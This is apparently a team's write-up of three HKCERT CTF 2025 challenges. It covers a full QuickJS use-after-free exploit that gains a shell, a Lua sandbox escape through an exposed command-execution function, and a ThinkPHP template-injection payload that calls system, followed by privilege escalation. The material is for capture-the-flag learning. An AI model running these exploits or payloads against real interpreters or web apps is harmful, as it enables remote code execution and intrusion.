# HKCERT CTF 2025 Writeup - Jane Street Amateurs ## piano We are given a [quickjs](github.com/bellard/quickjs) binary with 2 a few lines patched: ```patch diff --git a/quickjs.c b/quickjs.c index 6f461d6..98d0cbe 100644 --- a/quickjs.c +++ b/quickjs.c @@ -18123,15 +18123,14 @@ static JSValue JS_CallInternal(JSContext *caller_ctx, JSValueConst func_obj, } ret = JS_SetPropertyInternal(ctx, ctx->global_obj, cv->var_name, sp[-1], ctx->global_obj, JS_PROP_THROW_STRICT); - sp--; if (ret < 0) goto exception; } } else { put_var_ok: set_value(ctx, var_ref->pvalue, sp[-1]); - sp--; } + sp--; } BREAK; CASE(OP_get_loc): ``` In that patch, there is one unique path, which is when JS_SetPropertyInternal returns a value less than 0, we go to the `exception` label without decrementing sp. After compiling my own custom quickjs with debug printf, and asking AI, I found a good way to have JS_SetPropertyInternal return < 0 is by using a custom setter that throws and exception. ```js var victim = new Uint8Array(128); victim.fill(0xAA); Object.defineProperty(globalThis, 'x', { set: function(val) { throw new Error("Force Fail"); }, configurable: true, }); try { x = victim } catch {} ``` This code causes `victim` to be freed, because JS_Free is called `victim` twice, once in JS_SetPropertyInternal and another in the exception label. I found this writeup which has a similar bug to this https://maplebacon.org/2024/05/sdctf-slowjspp/ The idea is the same, use the UAF to overwrite a JSObject metadata to get arbitrary write, and use JSString to get the leaks. I got a shell by abusing the function pointers in JSMallocState, which are at the beginning of the heap (its the first object allocated in quickjs) Full exploit: ```js objs = []; var victim = new Uint8Array(128); victim.fill(0xAA); Object.defineProperty(globalThis, 'x', { set: function(val) { throw new Error("Force Fail"); }, configurable: true, }); try { x = victim } catch {} for (let i = 0; i < 1; i++) { objs.push(1); } var controller = new Uint32Array(18); controller[0] = 10; controller[1] = 0x001b0d00; controller[0x10] = 0x10000000; for (let i = 0; i < 0x20; i++) { objs.push({a:1}); } var str = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ"; try { x = str } catch {} try { x = str } catch {} var str_controller = new Uint32Array(18); str_controller[0] = 2; str_controller[1] = 0x1000000; str_controller[2] = 0x497f93b1; str_controller[3] = 0x4b; const read_dword = (offset) => { let result = 0; for (let i = 3; i >= 0; i--) { result = (result << 8) | str.charCodeAt(offset + i); } return result; }; let heap_base_low = read_dword(0x708) - 0x17bf8; let heap_base_high = read_dword(0x70c); console.log(heap_base_high.toString(16)); console.log(heap_base_low.toString(16)); let libc_leak_low = read_dword(0x6e8) - 0x200000 - 0x3b20; let libc_leak_high = read_dword(0x6ec); console.log(libc_leak_high.toString(16)); console.log(libc_leak_low.toString(16)); controller[6] = heap_base_low + 0x20200; controller[7] = heap_base_high; controller[0xe] = heap_base_low; controller[0xf] = heap_base_high; victim[0xa8] = libc_leak_low + 0x58750 victim[0xa9] = libc_leak_high; victim[0xb0] = 0x6e69622f; victim[0xb1] = 0x0068732f; print("!") var xxx = {a: 1}; while(1){} ``` ![image](https://hackmd.io/_uploads/BkInx087-l.png) ## easy-lua We're presented with an online lua executor, first things first let's dump the global context to see what we are dealing with. ```lua= local function dump(v) if type(v) == "table" then for k, val in pairs(v) do print(k, val) end else print(v) end end dump(_G) ``` This prints ``` package table: 0x99941e0 _G table: 0x99940f0 _VERSION Lua 5.1 _GOPHER_LUA_VERSION GopherLua 0.1 getmetatable function: 0x99963c0 load function: 0x99963e0 loadfile function: 0x9996400 _printregs function: 0x9996420 tonumber function: 0x9996440 next function: 0x9996460 print function: 0x9996fa0 rawequal function: 0x99964a0 setmetatable function: 0x99964c0 tostring function: 0x99964e0 type function: 0x9996500 unpack function: 0x9996520 module function: 0x9996540 assert function: 0x9996560 loadstring function: 0x9996580 pcall function: 0x99965a0 rawget function: 0x99965c0 rawset function: 0x99965e0 getfenv function: 0x9996600 select function: 0x9996620 setfenv function: 0x9996640 xpcall function: 0x9996660 require function: 0x9996680 newproxy function: 0x99966a0 collectgarbage function: 0x99966c0 dofile function: 0x99966e0 error function: 0x9996700 ipairs function: 0x9996760 pairs function: 0x99967a0 table table: 0x99942a0 string table: 0x99942d0 math table: 0x9994300 S3cr3t0sEx3cFunc function: 0x9996fc0 getFileContent function: 0x9996fe0 getFileList function: 0x9997000 ``` There's a pretty interesting function `S3cr3t0sEx3cFunc`. Let's try to call it: ```lua= local function dump(v) if type(v) == "table" then for k, val in pairs(v) do print(k, val) end else print(v) end end local function call(cmd) local ok, a, b, c, d = pcall(S3cr3t0sEx3cFunc, cmd) print("CMD", cmd, ok) dump(a); dump(b); dump(c); dump(d) end call("id") call("ls -la /") call("cat /flag") ``` This prints: ``` CMD id true uid=0(root) gid=0(root) groups=0(root) nil nil nil CMD ls -la / true total 12 drwxr-xr-x 1 root root 55 Dec 22 14:13 . drwxr-xr-x 1 root root 55 Dec 22 14:13 .. -rwxr-xr-x 1 root root 0 Dec 22 14:13 .dockerenv drwxr-xr-x 1 ctf ctf 36 Dec 11 09:10 app lrwxrwxrwx 1 root root 7 Oct 1 02:03 bin -> usr/bin drwxr-xr-x 2 root root 6 Apr 18 2022 boot drwxr-xr-x 5 root root 360 Dec 22 14:13 dev -rwxr-xr-x 1 root root 73 Nov 24 16:31 entrypoint.sh drwxr-xr-x 1 root root 66 Dec 22 14:13 etc -rwxr--r-- 1 root root 39 Dec 22 14:13 flag drwxr-xr-x 1 root root 17 Dec 11 09:10 home lrwxrwxrwx 1 root root 7 Oct 1 02:03 lib -> usr/lib lrwxrwxrwx 1 root root 9 Oct 1 02:03 lib32 -> usr/lib32 lrwxrwxrwx 1 root root 9 Oct 1 02:03 lib64 -> usr/lib64 lrwxrwxrwx 1 root root 10 Oct 1 02:03 libx32 -> usr/libx32 drwxr-xr-x 2 root root 6 Oct 1 02:03 media drwxr-xr-x 2 root root 6 Oct 1 02:03 mnt drwxr-xr-x 2 root root 6 Oct 1 02:03 opt dr-xr-xr-x 780 root root 0 Dec 22 14:13 proc drwx------ 2 root root 37 Oct 1 02:10 root drwxr-xr-x 5 root root 46 Oct 1 02:10 run -rwxr-xr-x 1 ctf ctf 82 Aug 21 16:27 run.sh lrwxrwxrwx 1 root root 8 Oct 1 02:03 sbin -> usr/sbin drwxr-xr-x 2 root root 6 Oct 1 02:03 srv dr-xr-xr-x 13 root root 0 Dec 20 01:41 sys drwxrwxrwt 2 root root 6 Oct 1 02:10 tmp drwxr-xr-x 1 root root 17 Oct 1 02:03 usr drwxr-xr-x 1 root root 17 Oct 1 02:10 var nil nil nil CMD cat /flag true flag{Zd7aDAYPybincfOgFugCp0TLaHLhTnaQ} nil nil nil ``` ## renderme * we are given a link to a web application that has one route which takes the name parameter and renders it. * I fingerprinted the tech stack by submitting `?name[]=` which returned an error, revealing ThinkPHP. * I looked up what templating engine this framework uses and stumbled upon [https://github.com/top-think/think-template](https://github.com/top-think/think-template). * there were a few patterns blocked, such as `()` and quotes. * reading the source, one can see that it is possible to use pipe syntax for calling arbitrary functions. * since quotes are blocked too, I put my payload into `$_GET`, which can be accessed using `$Request.get.<param>`. * final payload: `?name={$Request.get.a|$Request.get.x}&x=system&a=<command>`. * after getting RCE, it was basically this [https://gtfobins.github.io/gtfobins/choom/](https://gtfobins.github.io/gtfobins/choom/) to get root (and the flag at `/root/flag`).